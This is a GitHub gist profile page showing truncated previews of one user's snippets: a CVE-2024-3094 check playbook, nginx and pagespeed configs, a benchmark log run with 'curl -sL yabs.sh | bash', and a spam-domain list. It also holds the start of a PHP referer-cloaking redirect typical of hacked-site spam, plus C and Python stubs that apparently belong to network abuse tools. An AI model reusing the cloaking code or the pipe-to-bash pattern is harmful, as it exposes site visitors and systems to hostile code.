Skip to content

Instantly share code, notes, and snippets.

View mertcangokgoz's full-sized avatar
👋
Hi

Mertcan GÖKGÖZ mertcangokgoz

👋
Hi
View GitHub Profile
@mertcangokgoz
mertcangokgoz / CVE-2024-3094.yml
Created March 30, 2024 20:49
Run CVE-2024-3094 vulnerability check script
- hosts: all
tasks:
- name: Run CVE-2024-3094 vulnerability check script
shell: |
set -eu
echo "Checking system for CVE-2024-3094 Vulnerability..."
echo "https://nvd.nist.gov/vuln/detail/CVE-2024-3094"
# find path to liblzma used by sshd
pagespeed RewriteLevel CoreFilters;
pagespeed EnableFilters remove_quotes;
pagespeed DisableFilters prioritize_critical_css;
pagespeed RewriteLevel OptimizeForBandwidth;
pagespeed Domain *.mertcangokgoz.com;
pagespeed EnableFilters responsive_images,resize_images,lazyload_images,convert_jpeg_to_progressive;
pagespeed EnableFilters combine_css,rewrite_css,fallback_rewrite_css_urls;
pagespeed EnableFilters canonicalize_javascript_libraries,rewrite_javascript,defer_javascript;
pagespeed EnableFilters collapse_whitespace,extend_cache,trim_urls;
pagespeed HttpCacheCompressionLevel 0;
@mertcangokgoz
mertcangokgoz / mertcangokgoz.conf
Created October 28, 2023 19:18
mertcangokgoz.com nginx.conf
server {
listen 8080;
listen [::]:8080;
server_name mertcangokgoz.com;
{{root}}
try_files $uri $uri/ /index.php?$args;
index index.php index.html;
error_page 404 = @notfound;
@mertcangokgoz
mertcangokgoz / benchmark
Last active October 14, 2023 09:23
Kapteyan TR SSD VDS 1 [1 Core, 2GB Ram, 30 GB NVMe] Benchmark Result
root@debian:~# curl -sL yabs.sh | bash
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
# Yet-Another-Bench-Script #
# v2023-09-06 #
# https://github.com/masonr/yet-another-bench-script #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
Fri 13 Oct 2023 06:20:58 PM EDT
Basic System Information:
@mertcangokgoz
mertcangokgoz / toxicdomain.txt
Last active September 2, 2023 19:01
Bu liste muhtemel spam içerik barındıran, yapay ve düşük kaliteli link sağlayan alan adlarını içermektedir.
domain:0-0.fr
domain:000free.us
domain:007angels.com
domain:00author.com
domain:00go.com
domain:00it.com
domain:00webcams.com
domain:01apple.com
domain:01casino-x.ru
domain:033nachtvandeliteratuur.nl
<?php
error_reporting(0);
$refer=headers_sent();
if (!$refer){
$referer=$_SERVER['HTTP_REFERER'];
$tars2=$_SERVER['HTTP_USER_AGENT'];
if ($tars2) {
if (!stristr($tars2,"MSIE 7.0") and !stristr($tars2,"MSIE 6.0") and !strstr($tars2,"Firefox/3.")){
if (stristr($referer,"yahoo.") or stristr($referer,"bing.") or stristr($referer,"rambler.") or stristr($referer,"webalta.") or stristr($referer,"t.co/") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com") or (preg_match ("/https:\/\/www.google\.(.*?)\//",$referer) and strstr($tars2,"Chrome/"))) {
/*
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
*/
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
@mertcangokgoz
mertcangokgoz / detect_encodings.py
Created August 31, 2022 03:00
character encoding detection via chardet
import logging
from collections import namedtuple
from chardet import UniversalDetector # pip install chardet
logger = logging.getLogger(__name__)
Guess = namedtuple("Guess", ["encoding", "confidence"])
import string
import time
import warnings
from pathlib import Path
from random import SystemRandom
import requests # pip install requests
import requests_random_user_agent # noqa: F401 # pip install requests-random-user-agent
from urllib3.exceptions import InsecureRequestWarning
/*
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
*/
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>